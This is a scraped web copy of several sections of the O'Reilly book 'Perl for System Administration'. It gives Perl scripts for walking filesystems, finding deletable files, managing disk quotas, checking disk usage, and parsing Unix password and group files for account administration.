This seemed like a ridiculous suggestion given the number of folders on my NT partition and the amount of time it would take. Instead, I whipped up the following in about a minute using the methods we've been discussing:

require "find.pl";

# Traverse desired filesystems

&find('.');
print "max:$max\n";

exit;

sub wanted {
    return unless -f $_;
    if (length($_) > $maxlength){
        $max = $name;
        $maxlength = length($_);
    }
    if (length($name) > 200) { print $name,"\n";}
}

This printed out the name of all the files with names larger than 200 characters, followed by the name of the largest file found. Job done, thanks to Perl.

When Not to Use the File::Find Module

When is the File::Find method we've been discussing not appropriate? Four situations come to mind:

  1. If the filesystem you are traversing does not follow the normal semantics, you can't use it. For instance, in the bouncing laptop scenario which began the chapter, the Linux NTFS filesystem driver I was using had the strange property of not listing "." or ".." in empty directories. This broke File::Find badly.

  2. If you need to change the names of the directories in the filesystem you are traversing while you are traversing it, File::Find gets very unhappy and behaves in an unpredictable way.

  3. If you need your (Unix-based) code to chase symbolic links to directories, File::Find will skip them.

  4. If you need to walk a non-native filesystem mounted on your machine (for example, an NFS mount of a Unix filesystem on a Win32 machine), File::Find will attempt to use the native operating systems's filesystem semantics.

It is unlikely that you'll encounter these situations, but if you do, see the first filesystem-walking section of this chapter for information on how to traverse filesystems by hand.

Let's return to Unix to close this section with a moderately complex example. One idea that seems to get short shrift in many systems administration contexts, but can yield tremendous benefit in the end, is the notion of empowering the user. If your users can fix their own problems with tools you provide, everybody wins.

Much of this chapter is devoted to dealing with problems that arise from filesystems being filled. Often this occurs because users do not know enough about their environment, or because it is too cumbersome to perform any basic disk space management. Many a support request starts with "I'm out of disk space in my home directory and I don't know why." Here's a bare-bones version of a script called needspace that can help users with this problem. A user simply types needspace and the script attempts to locate items in the user's home directory that could be deleted. It looks for two kinds of files: known backup files and those that can be recreated automatically. Let's dive into the code:

use File::Find;
use File::Basename;

# array of fname extensions and the extensions they can be derived from
% derivations = (".dvi" => ".tex",
                ".aux" => ".tex",
                ".toc" => ".tex",
                ".o"   => ".c",
                );

We start by loading the libraries we need: our friend File::Find and another useful library called File::Basename. File::Basename will come in handy for parsing pathnames. We then initialize a hash table with known derivations; for instance, we know that running the command TeX or LaTeX on the file happy.tex can generate the file happy.dvi, and that happy.o could possibly be created by running a C compiler on happy.c. The word "possibly" is used because sometimes multiple source files are needed to generate a single derived file. We can only make simple guesses based on file extensions. Generalized dependency analysis is a complex problem we won't attempt to touch here.

Next we locate the user's home directory by finding the user ID of the person running the script ($<) and feeding it to getpwuid( ). getpwuid( ) returns password information in list form (more on this in the next chapter), from which an array index ([7]) selects the home directory element. There are shell-specific ways to retrieve this information (e.g., querying the $HOME environment variable), but the code as written is more portable.

Once we have the home directory, we enter it and begin scanning using a &find( ) call just like the ones we've seen before:

$homedir=(getpwuid($<))[7]; # find the user's home directory

chdir($homedir) or
  die "Unable to change to your homedir $homedir:$!\n";

$|=1; # print to STDOUT in an unbuffered way
print "Scanning";
find(\&wanted, "."); # chew through dirs, &wanted does the work

Here's the &wanted( ) subroutine we call. It starts by looking for core files and emacs backup and autosave files. We assume these files can be deleted without checking for their source file (perhaps not a safe assumption). If one of these files is found, its size and location is stored in a hash whose key is the path to the file and whose value is the size of that file.

The remaining checks for derivable files are very similar. They call a routine &BaseFileExists( ) to check if a particular file can be derived from another file in that directory. If this routine returns true, we store filename and size info for later retrieval:

sub wanted {
    # print a dot for every dir so the user knows we're doing something
    print "." if (-d $_);

    # we're only checking files
    return unless (-f $_);

    # check for core files, store them in the %core table, then return
    $_ eq "core" && ($core{$File::Find::name} = (stat(_))[7]) && return;

    # check for emacs backup and autosave files
    (/^#.*#$/ || /~$/) &&
      ($emacs{$File::Find::name}=(stat(_))[7]) &&
      return;

    # check for derivable tex files
     (/\.dvi$/ || /\.aux$/ || /\.toc$/) &&
       &BaseFileExists($File::Find::name) &&
       ($tex{$File::Find::name} = (stat(_))[7]) &&
       return;

    # check for derivable .o files
     /\.o$/ &&
       &BaseFileExists($File::Find::name) &&
       ($doto{$File::Find::name} = (stat(_))[7]) &&
       return;
}

Here's the routine which checks if a particular file can be derived from another "base" file in the same directory (i.e., does happy.o exist if we find happy.c):

sub BaseFileExists {
    my($name,$path,$suffix) =
     &File::Basename::fileparse($_[0],'\..*');

    # if we don't know how to derive this type of file
    return 0 unless (defined $derivations{$suffix});

    # easy, we've seen the base file before
    return 1 if (defined $baseseen{$path.$name.$derivations{$suffix}});

    # if file (or file link points to) exists and has non-zero size
    return 1 if (-s $name.$derivations{$suffix} &&
                  ++$baseseen{$path.$name.$derivations{$suffix}});
}

print "done.\n";

Here's how this code works:

  1. &File::Basename::fileparse( ) is used to separate the path into a filename, its leading path, and its suffix (e.g., resume.dvi, /home/cindy/docs/, .dvi ).

  2. This file's suffix is checked to determine if it is one we recognize as being derivable. If not, we return (false in a scalar context).

  3. We check if we've already seen a "base file" for this particular file, and if so return true. In some situations (TeX/LaTeX in particular), a single base file can yield many derived files. This check speeds things up considerably because it saves us a trip to the filesystem.

  4. If we haven't seen a base file for this file before, we check to see if one exists and that it is non-zero length. If so, we cache the base file information and return 1 (true in a scalar context).

All that's left for us to do now is to print out the information we gathered as we walked the filesystem:

foreach my $path (keys %core){
    print "Found a core file taking up ".&BytesToMeg($core{$path}).
          "MB in ".&File::Basename::dirname($path).".\n";
}

if (keys %emacs){
    print "The following are most likely emacs backup files:\n";

    foreach my $path (keys %emacs){
        $tempsize += $emacs{$path};
        $path =~ s/^$homedir/~/;     # change the path for prettier output
        print "$path ($emacs{$path} bytes)\n";
    }
    print "\nThese files take up ".&BytesToMeg($tempsize)."MB total.\n";
    $tempsize=0;
}

if (keys %tex){
    print "The following are most likely files that can be recreated by
           running La/TeX:\n";
    foreach my $path (keys %tex){
        $tempsize += $tex{$path};
        $path =~ s/^$homedir/~/;     # change the path for prettier output
        print "$path ($tex{$path} bytes)\n";
    }
    print "\nThese files take up ".&BytesToMeg($tempsize)."MB total.\n";
    $tempsize=0;
}

if (keys %doto){
    print "The following are most likely files that can be recreated by
           recompiling source:\n";
    foreach my $path (keys %doto){
        $tempsize += $doto{$path};
        $path =~ s/^$homedir/~/;     # change the path for prettier output
        print "$path ($doto{$path} bytes)\n";
    }
    print "\nThese files take up ".&BytesToMeg($tempsize)."MB total.\n";
    $tempsize=0;
}

sub BytesToMeg{ # convert bytes to X.XXMB
    return sprintf("%.2f",($_[0]/1024000));
}

Before we close this section, it should be noted that the previous example could be extended in many ways. The sky's really the limit on this sort of program. Here are a few ideas:

  • Use a more complex data structure to hold derivations and found files. The above code was written to be easy to read without much knowledge of Perl data structures. It repeats itself in several places and is harder to extend than it needs to be. Ideally, you'd like a way to represent all of the derivations without having special case hashes (e.g., %tex) in the code.

  • Search for web browser cache directories (a common source of missing disk space).

  • Offer to delete files that are found. The operator unlink( ) and the subroutine rmpath from the File::Path module would be used to perform the deletion step.

  • Perform more analysis on files instead of making guesses based on filenames.

Previous | Home | Next
2.3. Walking or Traversing the Filesystem | Book Index | 2.5. Manipulating Disk Quotas
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Manipulating Disk Quotas (Perl for System Administration)

 Perl for System AdministrationSearch this book

2.5. Manipulating Disk Quotas

Perl scripts like our core-killers from the last section can offer a way to deal with junk files that cause unnecessary disk full situations. But even when run on a regular basis, they are still a reactive approach; the administrator deals with these files only after they've come into existence and cluttered the filesystem.

There's another, more proactive approach: filesystem quotas. Filesystem quotas, operating system permitting, allow you to constrain the amount of disk space a particular user can consume on a filesystem. Windows 2000 and all modern Unix variants offer quotas. NT4 requires a third-party product, and MacOS users are S.O.L. (Simply or Sore Out of Luck).

Though proactive, this approach is considerably more heavy-handed than cleanup scripts because it applies to all files, not just spurious ones like core dumps. Most system administrators find using a combination of the automated cleanup scripts and quotas to be the best strategy. The former helps prevent the latter from being necessary.

In this section, we'll deal with manipulating Unix quotas from Perl. Before we get to that subject, we should take a moment to understand how quotas are set and queried "by hand." To enable quotas on a filesystem, a Unix system administrator usually adds an entry to the filesystem mount table (e.g., /etc/fstab or /etc/vfstab) and then reboots the system or manually invokes the quota enable command (usually quotaon). Here's an example /etc/vfstab from a Solaris box:

#device            device              mount  FS    fsck    mount     mount
#to mount          to fsck             point  type  pass    at boot   options
/dev/dsk/c0t0d0s7 /dev/dsk/c0d0t0d0s7  /home  ufs   2       yes       rq

The rq option in the last column enables quotas on this filesystem. They are stored on a per-user basis. To view the quota entries for a user on all of the mounted filesystems that have quotas enabled, one can invoke the quota command like so:

$ quota -v sabrams

to produce output similar to this:

Disk quotas for sabrams (uid 670):
Filesystem   usage  quota    limit    timeleft  files  quota  limit timeleft
/home/users  228731 250000  253000                  0      0      0

For our next few examples, we're only interested in the first three columns of this output. The first number is the current amount of disk space being used by the user sabrams on the filesystem mounted at/home/users. The second is that user's "soft quota." The soft quota is the amount after which the OS begins complaining for a set period of time, but does not restrict space allocation. The final number is the "hard quota," the absolute upper bound for this user's space usage. If a program attempts to request more storage space on behalf of the user after this limit has been reached, the OS will deny this request and return an error message like disk quota exceeded.

If we wanted to change these quota limits by hand, we'd use the edquota command. edquota pops you into your editor of choice preloaded with a small temporary text file that contains the pertinent quota information. Setting the EDITOR environment variable in your shell specifies the editor. Here's an example buffer that shows a user's limits on each of the four quota-enabled filesystems. This user most likely has her home directory on /exprt/server2 since that's the only filesystem where she has quotas in place:

fs /exprt/server1 blocks (soft = 0, hard = 0) inodes (soft = 0, hard = 0)
fs /exprt/server2 blocks (soft = 250000, hard = 253000) inodes (soft = 0, hard = 0)
fs /exprt/server3 blocks (soft = 0, hard = 0) inodes (soft = 0, hard = 0)
fs /exprt/server4 blocks (soft = 0, hard = 0) inodes (soft = 0, hard = 0)

Using edquota by hand may be a comfy way to edit a single user's quota limits, but it is not a viable way to deal with tens, hundreds, or thousands of user accounts. One of Unix's flaws is its lack of command-line tools for editing quota entries. Most Unix variants have C library routines for this task, but no command- line tools that allow for higher-level scripting. True to the Perl motto "There's More Than One Way To Do It" (TMTOWTDI, pronounced "tim-toady"), we are going to look at two very different ways of setting quotas from Perl.

2.5.1. Editing Quotas with edquota Trickery

The first method involves a little trickery on our part. A moment ago we mentioned the process for manually setting a user's quota: edquota invokes an editor to allow a user to edit a small text file and then uses any changes to update the quota entries. There's nothing in this scenario mandating that an actual human has to type at a keyboard to make changes in the editor invoked by edquota. In fact, there's not even a constraint on which editor has to be used. All edquota needs is a program it can launch that will properly change a small text file. Any valid path (as specified in the EDITOR environment variable) to such a program will do. Why not point edquota at a Perl script? Let's look at just such a script for our next example.

Our example script will need to do double duty: first, it has to get some command-line arguments from the user, set EDITOR appropriately, and call edquota. edquota will then run another copy of our program to do the real work of editing this temporary file. Figure 2-1 shows a diagram of the action.

Figure 2.1. Changing quotas using a "sleight-of-hand" approach

The second copy must be told what to change by the initial program invocation. How it gets this information from the copy that called edquota is less straightforward than one might hope. The manual page for edquota says: "The editor invoked is vi(1) unless the EDITOR environment variable specifies otherwise." The idea of passing command-line arguments via EDITOR or another environment variable is a dicey prospect at best because we don't know how edquota will react. Instead, we'll have to rely on one of the other types of interprocess communication methods available from Perl. For instance, the two processes could:

  • Pass a temporary file between them

  • Create a named pipe and talk over that

  • Pass AppleEvents (under MacOS)

  • Use mutexes or mutually agreed upon registry keys (under NT/2000)

  • Rendezvous at network socket

  • Use a shared memory section

And so on. It's up to you as the programmer to choose the appropriate communication method, though often the data will dictate this for you. When looking at this data, you'll want to consider:

  • Direction of communication (one- or two-way?)

  • Frequency of communication (is this a single message or are there multiple chunks of information that need to be passed?)

  • Size of data (is it a 10MB file or 20 characters?)

  • Format of data (is it a binary file or just text characters, fixed width, or character separated?)

Finally, be conscious of how complicated you want to make your script.

In our case, we're going to choose a simple but powerful method to exchange information. Since the first process only has to provide the second one with a single set of change instructions (what quotas need to be changed and their new values), we're going to set up a standard Unix pipe between the two of them.[1] The first process will print a change request to its output and the copy spawned by edquota will read this info as its standard input.

[1]Actually, the pipe will be to the edquota program, which is kind enough to hook up its input and output streams to the Perl script being spawned.

Let's write the program. The first thing the program has to do when it starts up is decide what role it's been asked to play. We can assume that the first invocation receives several command-line arguments (i.e., what to change) while the second, called by edquota, receives only one (i.e., the name of the temporary file). The program forces a set of command flags to be present if it is called with more than one argument, so we're pretty safe in using this assumption as the basis of our role selection. Here's the role selection code:

$edquota = "/usr/etc/edquota";     # edquota path
$autoedq = "/usr/adm/autoedquota"; # full path for this script

# are we the first or second invocation?

# if there is more than one argument, we're the first invocation
if ($#ARGV > 0) {
    &ParseArgs;
    &CallEdquota;
}
# else - we're the second invocation and will have to perform the edits
else {
    &EdQuota(  );
}

Let's look at the code called by the first invocation to parse arguments and call edquota over a pipe:

sub ParseArgs{
    use Getopt::Std; # for switch processing

    # This sets $opt_u to the user ID, $opt_f to the filesystem name,
    # $opt_s to the soft quota amount, and $opt_h to the hard quota
    # amount
    getopt("u:f:s:h:"); # colon (:) means this flag takes an argument
    die "USAGE: $0 -u uid -f <fsystem> -s <softq> -h <hardq>\n"
      if (!$opt_u || !$opt_f || !$opt_s || !$opt_h);
}

sub CallEdquota{
    $ENV{"EDITOR"} = $autoedq; # set the EDITOR variable to point to us

    open(EPROCESS, "|$edquota $opt_u") or
      die "Unable to start edquota:$!\n";

    # send the changes line to the second script invocation
    print EPROCESS "$opt_f|$opt_s|$opt_h\n";

    close(EPROCESS);
}

Here's the second part of the action:

sub EdQuota {
    $tfile = $ARGV[0]; # get the name of edquota's temp file

    open(TEMPFILE, $tfile) or
      die "Unable to open temp file $tfile:$!\n";

    # open a scratch file, could use IO::File   figure  new_tmpfile( ) instead
    open(NEWTEMP, ">$tfile.$$") or
      die "Unable to open scratch file $tfile.$$:$!\n";

    # receive line of input from first invocation and lop off the newline
    chomp($change = <STDIN>);
    my($fs,$soft,$hard) = split(/\|/,$change); # parse the communique

    # read in a line from the temp file.  If it contains the
    # filesystem we wish to modify, change its values. Write the input
    # line (possibly changed) to the scratch file.
    while (<TEMPFILE>){
      if (/^fs $fs\s+/){
         s/(soft\s*=\s*)\d+(, hard\s*=\s*)\d+/$1$soft$2$hard/;
          print NEWTEMP;
       }
    }
    close(TEMPFILE);
    close(NEWTEMP);

    # overwrite the temp file with our modified scratch file so
    # edquota will get the changes
    rename("$tfile.$$",$tfile)
      or die "Unable to rename $tfile.$$ to $tfile:$!\n";
}

The above code is bare bones, but it still offers a way to make automated quota changes. If you've ever had to change many quotas by hand, this should be good news. Before putting something like this into production, considerable error checking and a mechanism that prevents multiple concurrent changes should be added. In any case, you may find this sort of sleight-of-hand technique useful in other situations besides quota manipulation.

2.5.2. Editing Quotas Using the Quota Module

Once upon a time, the previous method (or, to be honest, the previous hack) was the only way to automate quota changes unless you wanted to get into the gnarly business of hacking the C quota library routine calls into the Perl interpreter itself. Now that Perl's extension mechanism makes gluing library calls into Perl much easier, it was only an amount of time before someone produced a Quota module for Perl. Thanks to Tom Zoerner and some other porting help, setting quotas from Perl is now much more straightforward if this module supports your variant of Unix. If it doesn't, the previous method should work fine.

Here's some sample code that takes the same arguments as our last quota-editing example:

use Getopt::Std;
use Quota:;

getopt("u:f:s:h:");
die "USAGE: $0 -u uid -f <filesystem> -s <softquota> -h <hard quota>\n"
     if (!$opt_u || !$opt_f || !$opt_s || !$opt_h);

$dev = Quota::getcarg($opt_f) or die "Unable to translate path $opt_f:$!\n";

($curblock,$soft,$hard,$curinode,$btimeout,$curinode,$isoft,$ihard,$itimeout)=
     Quota::query($dev,$uid) or die "Unable to query quota for $uid:$!\n";

Quota::setqlim($dev,$opt_u,$opt_s,$opt_h,$isoft,$ihard,1) or
     die "Unable to set quotas:$!\n";

After we parse the arguments, there are three simple steps: first, we use Quota::getcarg( ) to get the correct device identifier to feed to the other quota routines. Next, we feed this identifier and the user ID to Quota::query( ) to get the current quota settings. We need these settings to avoid perturbing the quota limits we are not interested in changing (like number of files). Finally, we set the quota. That's all it takes, three lines of Perl code.

Remember, the Perl slogan TMTOWTDI means "there's more than one way to do it," not necessarily "several equally good ways."

Previous | Home | Next
2.4. Walking the Filesystem Using the File::Find Module | Book Index | 2.6. Querying Filesystem Usage
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Querying Filesystem Usage (Perl for System Administration)

 Perl for System AdministrationSearch this book

2.6. Querying Filesystem Usage

Given the methods of controlling filesystem usage we've just explored, it is only natural to want to keep track of how well they work. To end this chapter, let's look at a method for querying the filesystem usage on each of the operating systems found in this book.

MacOS is the operating system for which this task is hardest. MacOS does have a Macintosh Toolbox routine (PBHGetVInfo) to retrieve volume information, but at the current time there is no MacPerl module available to make calling this function easy. Instead, we have to take a roundabout approach and ask the Finder to query this information for us. This is easy in practice thanks to a glue module, but the setup needed for this method makes MacOS the more difficult operating system to deal with.

All the materials for the following involve work by Chris Nandor and can be found at http://pudge.net or on CPAN. Bear with me as we go over this setup step by step:

  1. Install the cpan-mac bundle. cpan-mac includes the CPAN.pm module by Andreas J. K&#246;nig and other handy modules we mentioned in Chapter 1, "Introduction". Even if you don't want to query filesystem usage from MacOS, you'll still be well served by installing this bundle. When you install this bundle, be sure to follow all of the directions found in the README file.

  2. Install the latest Mac::AppleEvents::Simple module by dropping the distribution file on top of the installme droplet.

  3. Install the Mac::Glue module. The installme droplet decompresses and unpacks the contents of the Mac::Glue distribution file into a new folder as part of the installation process. Be sure to run the gluedialect and gluescriptadds setup scripts from the scripts subfolder of the unpacked distribution.

  4. Create the finder glue file. Open your System Folder and drag the Finder file on top of the gluemac droplet to create the necessary glue file (and, in a particularly nice touch by Nandor, to create pod documentation for the glue).

This complex setup process allows us to write the following simple-looking code:

use Mac::Glue qw(:all);

$fobj  = new Mac::Glue 'Finder';

$volumename = "Macintosh HD"; # the name of one of our mounted disks
$total = $fobj->get($fobj->prop('capacity',
                    disk => $volumename),
                    as => 'doub');
$free  = $fobj->get($fobj->prop('free_space',
                    disk => $volumename),
                    as => 'doub');

print "$free bytes of $total bytes free\n";

Let's move to easier territory. If we wanted to query the same information from a Win32 machine, we could use Dave Roth's Win32::AdminMisc module:

use Win32::AdminMisc;

($total,$free) = Win32::AdminMisc::GetDriveSpace("c:\\");

print "$free bytes of $total bytes free\n";

Finally, let's end this chapter by looking at the Unix equivalent. There are several Unix modules available, including Filesys::DiskSpace by Fabien Tassin, Filesys::Df by Ian Guthrie, and Filesys::DiskFree by Alan R. Barclay. The first two of these make use of the Unix system call statvfs( ) while the last one actually parses the output of the Unix command df on all of the systems it supports. Choosing between these modules is mostly a matter of personal preference and operating system support. I prefer Filesys::Df because it offers a rich feature set and does not spawn another process (a potential security risk, as discussed in Chapter 1, "Introduction") as part of a query. Here's one way to write code equivalent to the previous two examples:

use Filesys::Df;

$fobj = df("/");

print $fobj->{su_bavail}*1024." bytes of ".
      $fobj->{su_blocks}*1024." bytes free\n";

We have to do a little bit of arithmetic (i.e., *1024) because Filesys::Df returns values in terms of blocks, and each block is 1024 bytes on our system. The df( ) function for this module can be passed a second optional argument for block size if necessary. Also worth noting about this code are the two hash values we've requested. su_bavail and su_blocks are the values returned by this module for the "real" size and disk usage information. On most Unix filesystems, the df command would show a value that hides the standard 10% of a disk set aside for superuser overflow. If we wanted to see the total amount of space available and the current amount free from a normal user's perspective, we would have used user_blocks and user_bavail instead.

With the key pieces of Perl code we've just seen, it is possible to build more sophisticated disk monitoring and management systems. These filesystem watchdogs will help you deal with space problems before they occur.

Previous | Home | Next
2.5. Manipulating Disk Quotas | Book Index | 2.7. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

2.7. Module Information for This Chapter

Name | CPAN ID | Version
File::Find (ships with Perl) |  |
File::Spec (ships with Perl) |  |
Cwd (ships with Perl) |  |
Win32::File::GetAttributes (ships with ActiveState Perl) |  |
Win32::FileSecurity (ships with ActiveState Perl) |  |
File::Basename (ships with Perl) |  |
Getopt::Std (ships with Perl) |  |
Quota | TOMZO | 1.2.3
cpan-mac (bundle) | CNANDOR | 0.40
Mac::AppleEvents::Simple | CNANDOR | 0.81
Mac::Glue | CNANDOR | 0.58
Previous | Home | Next
2.6. Querying Filesystem Usage | Book Index | 2.8. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

2.8. References for More Information

For good information on platform differences for Perl programmers, the perlport manual page is invaluable. Chris Nandor and Gurasamy Sarathy presented a talk based on an early version of this manual page at the Perl Conference 2.0; Nandor has posted the slides from this talk at http://pudge.net/macperl/tpc/98.

Previous | Home | Next
2.7. Module Information for This Chapter | Book Index | 3. User Accounts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


User Accounts (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 3. User Accounts

Contents:

Unix User Identity
Windows NT/2000 User Identity
Building an Account System to Manage Users
Module Information for This Chapter
References for More Information

Here's a short pop quiz. If it wasn't for users, system administration would be:

a) More pleasant.

b) Nonexistent.

Despite the comments from system administrators on their most beleaguered days, b) is the best answer to this question. As I mentioned in the first chapter, ultimately system administration is about making it possible for people to use the available technology.

Why all the grumbling then? Users introduce two things into the systems and networks we administer that make them significantly more complex: nondeterminism and individuality. We'll address the nondeterminism issues when we discuss user activity in the next chapter, but for now let's focus on individuality.

In most cases, users want to retain their own separate identities. Not only do they want a unique name, but they want unique "stuff" too. They want to be able to say, "These are my files. I keep them in my directories. I print them with my print quota. I make them available from my home page on the Web." Modern operating systems keep an account of all of these details for each user.

But who keeps track of all of the accounts on a system or network of systems? Who is ultimately responsible for creating, protecting, and disposing of these little shells for individuals? I'd hazard a guess and say "you, dear reader" -- or if not you personally, then tools you'll build to act as your proxy. This chapter is designed to help you with that responsibility.

Let's begin our discussion of users by addressing some of the pieces of information that form their identity and how it is stored on a system. We'll start by looking at Unix and Unix-variant users, and then address the same issues for Windows NT/Windows 2000. For current-generation MacOS systems, this is a non-issue, so we'll skip MacOS in this chapter. Once we address identity information for both operating systems, we'll construct a basic account system.

3.1. Unix User Identity

When discussing this topic, we have to putter around in a few key files because they store the persistent definition of a user's identity. By persistent definition, I mean those attributes of a user that exist during the entire lifespan of that user, persisting even while that user is not actively using a computer. Another word that we'll use for this persistent identity is account. If you have an account on a system, you can log in and become a user of that system.

Users come into being on a system at the point when their information is first added to the password file (or the directory service which offers the same information). A user's subsequent departure from the scene occurs when this entry is removed. We'll dive right in and look at how the user identity is stored.

3.1.1. The Classic Unix Password File

Let's start off with the "classic" password file format and then get more sophisticated from there. I call this format classic because it is the parent for all of the other Unix password file formats currently in use. It is still in use today in many Unix variants, including SunOS, Digital Unix, and Linux. Usually found on the system as /etc/passwd, this file consists of lines of ASCII text, each line representing a different account on the system or a link to another directory service. A line in this file is composed of several colon-separated fields. We'll take a close look at all of these fields as soon as we see how to retrieve them.

Here's an example line from /etc/passwd:

dnb:fMP.olmno4jGA6:6700:520:David N. Blank-Edelman:/home/dnb:/bin/zsh

There are at least two ways to go about accessing this information from Perl:

  1. If we access it "by hand," we can treat this file like any random text file and parse it accordingly:

    $passwd = "/etc/passwd";
open(PW,$passwd) or die "Can't open $passwd:$!\n";
while (<PW>){
    ($name,$passwd,$uid,$gid,$gcos,$dir,$shell) = split(/:/);
    <your code here>
}
close(PW);

  2. Or we can "let the system do it," in which case Perl makes available some of the Unix system library calls that parse this file for us. For instance, another way to write that last code snippet is:

    while(($name,$passwd,$uid,$gid,$gcos,$dir,$shell) = getpwent(  )){
       <your code here>
}
endpwent(  );

Using these calls has the added advantage of automatically tying in to any OS-level name service being used (e.g., Network Information Service, or NIS). We'll see more of these library call functions in a moment (including an easier way to use getpwent( )), but for now let's look at the fields our code returns:[1]

[1]The values returned by getpwent( ) changed between Perl 5.004 and 5.005; this is the 5.004 list of values. In 5.005 and later, there are two additional fields, $quota and $comment, in the list right before $gcos. See your system documentation for getpwent( ) for more information.

Name

The login name field holds the short (usually eight characters or less), unique, nomme de machine for each account on the system. The Perl function getpwent( ), which we saw earlier being used in a list context, will return the name field if we call it in a scalar context:

$name = getpwent(  );
User ID (UID)

On Unix systems, the user ID (UID) is actually more important than the login name for most things. All of the files on a system are owned by a UID, not a login name. If we change the login name associated with UID 2397 in /etc/passwd from danielr to drinehart, these files instantly show up as be owned by drinehart instead. The UID is the persistent part of a user's identity internal to the operating system. The Unix kernel and filesystems keep track of UIDs, not login names, for ownership and resource allocation. A login name can be considered to be the part of a user's identity that is external to the core OS; it exists to make things easier for humans.

Here's some simple code to find the next available unique UID in a password file. This code looks for the highest UID in use and produces the next number:

$passwd = "/etc/passwd";
open(PW,$passwd) or die "Can't open $passwd:$!\n";
while (<PW>){
    @fields = split(/:/);
    $highestuid = ($highestuid < $fields[2]) ? $fields[2] : $highestuid;
}
close(PW);
print "The next available UID is " . ++$highestuid . "\n";

Table 3-1 lists other useful name- and UID-related Perl functions and variables.

Table 3.1. Login Name- and UID-Related Variables and Functions

Function/Variable

How Used

getpwnam($name)

In a scalar context returns the UID for that login name; in a list context returns all of the fields of a password entry

getpwuid($uid)

In a scalar context returns the login name for that UID; in a list context returns all of the fields of a password entry

$>

Holds the effective UID of the currently running Perl program

$<

Holds the real UID of the currently running Perl program
The primary group ID (GID)

On multiuser systems, users often want to share files and other resources with a select set of other users. Unix provides a user grouping mechanism to assist in this process. An account on a Unix system can be part of several groups, but it must be assigned to one primary group. The primary group ID (GID) field in the password file lists the primary group for that account.

Group names, GIDs, and group members are usually stored in the /etc/group file. To make an account part of several groups, you just list that account in several places in the file. Some OSes have a hard limit on the number of groups an account can join (eight used to be a common restriction). Here's a couple of lines from an /etc/group file:

bin::2:root,bin,daemon
sys::3:root,bin,sys,adm

The first field is the group name, the second is the password (some systems allow people to join a group by entering a password), the third is the GID of the group, and the last field is a list of the users in this group.

Schemes for group ID assignment are site-specific because each site has its own particular administrative and project boundaries. Groups can be created to model certain populations (students, salespeople, etc.), roles (backup operators, network administrators, etc.), or account purposes (backup accounts, batch processing accounts, etc.).

Dealing with group files via Perl files is a very similar process to the passwd parsing we did above. We can either treat it as a standard text file or use special Perl functions to perform the task. Table 3-2 lists the group-related Perl functions and variables.

Table 3.2. Group Name- and GID-Related Variables and Functions

Function/Variable

How Used

getgrent(  )

In a scalar context returns the group name; in a list context returns these fields: $name,$passwd,$gid,$members

getgrnam($name)

In a scalar context returns the group ID; in a list context returns the same fields mentioned for getgrent( )

getgrgid($gid)

In a scalar context returns the group name; in a list context returns the same fields mentioned for getgrent( )

$)

Holds the effective GID of the currently running Perl program

$(

Holds the real GID of the currently running Perl program
The "encrypted" password

So far we've seen three key parts of how a user's identity is stored on a Unix machine. The next field is not part of this identity, but is used to verify that someone should be allowed to assume all of the rights, responsibilities, and privileges bestowed upon a particular user ID. This is how the computer knows that someone presenting her or himself as mguerre should be allowed to assume a particular UID. There are other, better forms of authentication that now exist in the world (e.g., public key cryptographic), but this is the one that has been inherited from the early Unix days.

It is common to see a line in a password file with just an asterisk (*) for a password. This convention is usually used when an administrator wants to disable the user from logging into an account without removing it altogether.

Dealing with user passwords is a topic unto itself. We deal with it later in this book in Chapter 10, "Security and Network Monitoring".

GCOS field

The GCOS[2] field is the least important field (from the computer's point of view). This field usually contains the full name of the user (e.g., "Roy G. Biv"). Often, people put their title and/or phone extension in this field as well.

[2]For some amusing details on the origin of the name of this field, see the GCOS entry at the Jargon Dictionary: http://www.jargon.org.

System administrators who are concerned about privacy issues on behalf of their users (as all should be) need to watch the contents of this field. It is a standard source for account-name-to-real-name mappings. On most Unix systems, this field is available as part of a world-readable /etc/passwd file or directory service, and hence the information is available to everyone on the system. Many Unix programs, mailers and finger daemons also consult this field when they attach a user's login name to some piece of information. If you have any need to withhold a user's real name from other people (e.g., if that user is a political dissident, federal witness, or a famous person), this is one of the places you must monitor.

As a side note, if you maintain a site with a less mature user base, it is often a good idea to disable mechanisms that allow users to change their GCOS field to any random string (for the same reasons that user-selected login names can be problematic). You may not want your password file to contain expletives or other unprofessional information.

Home directory

The next field contains the name of the user's home directory. This is the directory where the user begins her or his time on the system. Typically this is also where the files that configure that user's environment live.

It is important for security purposes that an account's home directory be owned and writable by that account only. World-writable home directories allow trivial account hacking. There are cases, however, where even a user-writable home directory is problematic. For example, in restricted shell scenarios (accounts that can only log in to perform a specific task without permission to change anything on the system), a user-writable home directory is a big no-no.

Here's some Perl code to make sure that every user's home directory is owned by that user and is not world writable:

use User::pwent;
use File::stat;

# note: this code will beat heavily upon any machine using
# automounted homedirs
while($pwent = getpwent(  )){
    # make sure we stat the actual dir, even through layers of symlink
    # indirection
    $dirinfo = stat($pwent->dir."/.");
    unless (defined $dirinfo){
        warn "Unable to stat ".$pwent->dir.": $!\n";
        next;
    }
    warn $pwent->name."'s homedir is not owned by the correct uid (".
         $dirinfo->uid." instead ".$pwent->uid.")!\n"
        if ($dirinfo->uid != $pwent->uid);

    # world writable is fine if dir is set "sticky" (i.e., 01000),
    # see the manual page for chmod for more information
    warn $pwent->name."'s homedir is world-writable!\n"
      if ($dirinfo->mode & 022 and (!$stat->mode & 01000));
}
endpwent(  );

This code looks a bit different than our previous parsing code because it uses two magic modules by Tom Christiansen: User::pwent and File::stat. These modules override the normal getpwent( ) and stat( ) functions, causing them to return something different than the values mentioned before. When User::pwent and File::stat are loaded, these functions return objects instead of lists or scalars. Each object has a method named after a field that normally would be returned in a list context. So code like:

$gid = (stat("filename"))[5];

can be written more legibly as:

use File::stat;
$stat = stat("filename");
$gid = $stat->gid;

or even:

use File::stat;
$gid = stat("filename")->gid;
User shell

